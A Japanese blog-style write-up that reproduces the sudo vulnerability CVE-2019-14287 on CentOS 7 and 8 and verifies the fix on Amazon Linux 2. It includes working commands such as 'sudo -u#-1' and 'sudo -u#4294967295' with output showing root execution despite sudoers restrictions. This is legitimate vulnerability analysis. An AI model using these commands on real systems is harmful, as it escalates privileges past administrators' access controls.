sudo で UID に「-1」または「4294967295」を指定すると root 権限でコマンド実行出来る脆弱性
sudo コマンドで UID に「-1」または「4294967295」を指定すると root 権限でコマンド実行出来る脆弱性が発見されたそうです。
- Potential bypass of Runas user restrictions
- CVE-2019-14287
- sudoの脆弱性情報(Important: CVE-2019-14287)と新バージョン(1.8.28)
- sudoでUIDに4294967295を指定すると途中からuid = 0と解釈される特権昇格の脆弱性
実際に脆弱性を試してみます。
テスト環境¶
テストは CentOS7 と CentOS8 で実施しました。 バージョンは以下の通りです。
- CentOS Linux release 7.7.1908 (Core)
- sudo-1.8.23-4.el7.x86_64
- CentOS Linux release 8.0.1905 (Core)
- sudo-1.8.25p1-4.el8.x86_64
また、/etc/sudoers に下記が定義されているものとします。 !root なので /usr/bin/reboot は root 権限で実行出来ないように定義しています。
結論¶
先にテスト結果をまとめておきます。 現時点では CentOS7 / 8 両者で同じ結果になりました。
| No. | sudo 実行時の -u オプション |
root 権限でコマンド実行出来たか? |
意図した挙動か? |
|---|---|---|---|
| 1 | root | 出来ない | 問題無い |
| 2 | #0 | 出来ない | 問題無い |
| 3 | #-1 | 出来る | 意図しない挙動 (脆弱) |
| 4 | #-2 | 出来ない | 問題無い |
| 5 | #4294967295 | 出来る | 意図しない挙動 (脆弱) |
| 6 | #4294967296 | 出来ない | 問題無い |
4,294,967,295 は 2 の補数で考えると「-1」¶
この脆弱性では「-1」または「4,294,967,295」という数字が登場します。 32bit で考えた場合、「-1」を 2 の補数で表現すると「4,294,967,295」になります。 つまり、「-1」も「4,294,967,295」も sudo コマンドの内部的には同じ扱いをされている、と予想されます (時間あればソースコード読んでみます)。
ユーザ名 / UID を指定して sudo を実行する¶
sudo で実行するコマンドはユーザ名や UID を指定して実行することが可能です。
ユーザ名を指定する¶
sudo をユーザ名指定で実行するには以下のようにします。 -u オプションとユーザ名の間にはスペースを入れないようにします。
user1 として id コマンドを実行したい場合は以下のようにします。
UID を指定する¶
sudo を UID 指定で実行するには以下のように実施します。 -u に続けて # と UID を指定します。 各々の間にはスペースを入れないようにします。
UID 1000 として id コマンドを実行したい場合は以下のようにします。
reboot コマンドで再現テストしてみる¶
user1 でログインし、テストしていきます。
root ユーザ名指定 → 実行出来ない (OK)¶
root ユーザ名を指定しても実行出来ません。 これは意図した挙動です。
user1~$ sudo -uroot reboot
Sorry, user user1 is not allowed to execute '/sbin/reboot' as root on 192.168.1.1.
UID 0 (root) を指定 → 実行出来ない (OK)¶
UID 0 (root) を指定しても実行出来ません。 これは意図した挙動です。
user1~$ sudo -u#0 reboot
Sorry, user user1 is not allowed to execute '/sbin/reboot' as root on 192.168.1.1.
UID -1 (存在しないユーザ) を指定 → 実行出来る (NG)¶
UID -1 (存在しないユーザ) を指定すると root 権限でコマンド実行出来てしまいます… これは問題です。
UID -2 (存在しないユーザ) を指定 → 実行出来ない (OK)¶
UID -2 (存在しないユーザ) を指定しても実行出来ません。 CentOS7 環境の場合はエラーハンドリング (値チェック) の実装が甘いような気もしますが、とりあえず「コマンドが実行出来ない」という観点では意図した挙動です。
user1~$ sudo -u#-2 reboot
(pkttyagent:3158): GLib-GObject-WARNING **: 23:22:47.463: value "-2" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:146:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Failed to execute operation: Operation not permitted
Must be root.
CentOS8 環境の場合は以下のようになりました。 こちらも「コマンドが実行出来ない」という意味では意図した挙動です。
user1~$ sudo -u#-2 reboot
Failed to set wall message, ignoring: Access denied
Failed to reboot system via logind: Access denied
UID 4294967295 (存在しないユーザ) を指定 → 実行出来る (NG)¶
UID 4294967295 を指定すると root 権限でコマンド実行出来てしまいます… これも問題です。
UID 4294967296 (存在しないユーザ) を指定 → 実行出来ない (OK)¶
UID 4294967296 (4294967295 + 1 した値) を指定しても実行出来ません。 これは意図した挙動です。
user1~$ sudo -u#4294967296 reboot
sudo: unknown user: #4294967296
sudo: unable to initialize policy plugin
id コマンドで挙動を確認する¶
この脆弱性の挙動は id コマンドを使うとよく分かります。 /etc/sudoers に以下を定義した上で id コマンドを使って挙動を確認します。 以下の定義により、user1 が root 権限で id コマンドを実行すると「失敗する」のが期待値です。
root ユーザ名指定 → UID 0 (OK)¶
実行に失敗します。 意図した挙動です。
user1~$ sudo -uroot /usr/bin/id
Sorry, user user1 is not allowed to execute '/usr/bin/id' as root on 192.168.1.1.
UID 0 (root) を指定 → UID 0 (OK)¶
実行に失敗します。 意図した挙動です。
user1~$ sudo -u#0 /usr/bin/id
Sorry, user user1 is not allowed to execute '/usr/bin/id' as root on 192.168.1.1.
UID -1 (存在しないユーザ) を指定 → UID 0 (NG)¶
ここが問題です。 -1 を指定した場合、UID 0 = root ユーザとして扱われ、しかも id コマンドの実行に成功してしまっています。 /etc/sudoers では id コマンドを root 権限で実行出来なくしているにも関わらず、root 権限で実行出来てしまっているのは「脆弱である」と言えます。
user1~$ sudo -u#-1 /usr/bin/id
uid=0(root) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
UID -2 (存在しないユーザ) を指定 → UID 4294967294 (?)¶
-2 したことで UID が 4294967294 と表示されています。 実装が微妙な感じがします…
user1~$ sudo -u#-2 /usr/bin/id
uid=4294967294 gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
UID 4294967295 (存在しないユーザ) → UID 0 (NG)¶
ここも UID -1 を指定した場合と同じ挙動をしています。 -1 を指定した場合と同様、UID 0 = root ユーザとして扱われ、しかも id コマンドの実行に成功してしまっています。
user1~$ sudo -u#4294967295 /usr/bin/id
uid=0(root) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
UID 4294967296 (存在しないユーザ) を指定 → unknown user (OK)¶
存在しない UID を指定しているので unknown user と表示されています。 これは意図した挙動です。
user1~$ sudo -u#4294967296 /usr/bin/id
sudo: unknown user: #4294967296
sudo: unable to initialize policy plugin
Amazon Linux2 の修正済みパッケージで動作確認してみる¶
Amazon Linux2 には修正済みパッケージが提供されいたので、動作確認してみました。 尚、現時点で Amazon Linux2 で提供されている、脆弱性修正済みパッケージは以下のバージョンでした。
- sudo-1.8.23-4.amzn2.0.1.x86_64
UID -1 (存在しないユーザ) を指定 → エラー (OK)¶
UID -1 指定で id コマンドを実行すると、しっかり unknown user 扱いでエラーになっています。 これは意図した挙動であり、「脆弱性が修正されている」と言えます。
UID 4294967295 (存在しないユーザ) → エラー (OK)¶
UID 4294967295 指定の場合も同様に、unknown user 扱いでエラーになりました。 これは意図した挙動であり、「脆弱性が修正されている」と言えます。